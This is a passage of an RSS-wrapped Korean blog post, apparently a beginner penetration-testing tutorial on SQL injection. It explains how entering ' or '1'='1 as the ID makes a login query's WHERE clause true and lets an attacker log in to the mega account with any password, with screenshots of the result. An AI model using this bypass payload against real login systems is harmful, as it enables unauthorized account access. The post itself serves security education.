&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ee2323; color: #f3c000;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;background-color: #ee2323; color: #f3c000;&quot;&gt;1'='1' and pw='1234'&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;을 비교하면,&amp;nbsp; and 조건은 비교하는 두 조건이 모두 참이 되어야 하며 1과 1은 같고 비밀번호(pw)도 1234가 맞기 때문에 true가 되게 됩니다. 그다음에 or을 연산하는데 &lt;b&gt;or 연산자는 비교할 때 하나라도 참이라면 참이 되게 됩니다.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id='mega' or ('1'='1' and pw='1234') 이렇게 연산이 이뤄지게 되는데 id가 mega인 계정이 DB 내부에 있기 때문에 id='mega'는 참이 되게 됩니다. or 연산은 하나라도 참이면 참이기 때문에 where절이 참이되며 아이디가 mega인 계정을 DB는 반환하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;*** id='mega'(이미 여기가 참) or (or 뒤에 falsty한 값이 와도 or 앞에가 이미 참이므로 전체는 참)&amp;nbsp; ***&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;다시 정리하면, id가 mega인 계정이 DB 내부에 있고(참), or 연산자로 인해 sql 쿼리의 where 절이 전체 적으로 참이 되어 id가 mega인 계정을 가져오게 되는 것입니다. 따라서 해당 로그인 인증 로직을 별다른 필터링없이 그대로 사용 중이라면 &lt;span style=&quot;color: #ee2323;&quot;&gt;비밀번호를 아무거나 입력해도 로그인&lt;/span&gt;이 가능하게 됩니다. &lt;b&gt;아이디만 알고 있다면 sql 쿼리의 where 조건이 전부 참이 되도록 만들 수 있기 때문에 DB는 정상적으로 로그인했을 때와 같은 결과를 반환하게 됩니다.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정말로 아무 비밀번호를 입력했을 때 정상적으로 로그인 했을 때 와 같은 결과를 반환하는지 확인해보겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbd9GS/btsNerb0Mqm/SMss2rDum66ipokbcwWlBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbd9GS/btsNerb0Mqm/SMss2rDum66ipokbcwWlBK/img.png&quot; data-alt=&quot;아이디: ' or '1'='1 / 비밀번호: (아무거나 입력)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbd9GS/btsNerb0Mqm/SMss2rDum66ipokbcwWlBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbbd9GS%2FbtsNerb0Mqm%2FSMss2rDum66ipokbcwWlBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;90&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;131&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;아이디: ' or '1'='1 / 비밀번호: (아무거나 입력)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;374&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXOgPb/btsNfHLxAcf/Pd9v66aDjUQE3p0iVb61d1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXOgPb/btsNfHLxAcf/Pd9v66aDjUQE3p0iVb61d1/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXOgPb/btsNfHLxAcf/Pd9v66aDjUQE3p0iVb61d1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXOgPb%2FbtsNfHLxAcf%2FPd9v66aDjUQE3p0iVb61d1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;258&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;374&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과를 확인해보면 DB가 정상적으로 로그인했을 때와 같은 결과를 반환하고 있다는 것을 알 수 있습니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 간단한 실습을 통해 SQL Injection에 대해서 알아봤는데 해당 글은 &quot;SQL injection이 이런 거구나&quot; 정도로 생각하시면 될 거 같습니다. 앞으로는 SQLInjection 종류에 대해 설명하고, 해당 SQL Injection 공격 기법이 어떤 식으로 사용되며 어떻게 DB 데이터를 추출까지 가게 되는지에 대해서 다뤄보겠습니다.&lt;/p&gt;</description>
      <category>[WEB] 모의해킹/SQL Injection</category>
      <category>0xsecurity</category>
      <category>db</category>
      <category>SQL INJECTION</category>
      <category>모의해킹</category>
      <category>웹해킹</category>
      <category>정보보안</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/5</guid>
      <comments>https://code000.tistory.com/entry/%F0%9F%93%8CSQL-Injection#entry5comment</comments>
      <pubDate>Wed, 9 Apr 2025 19:22:54 +0900</pubDate>
    </item>
  </channel>
</rss>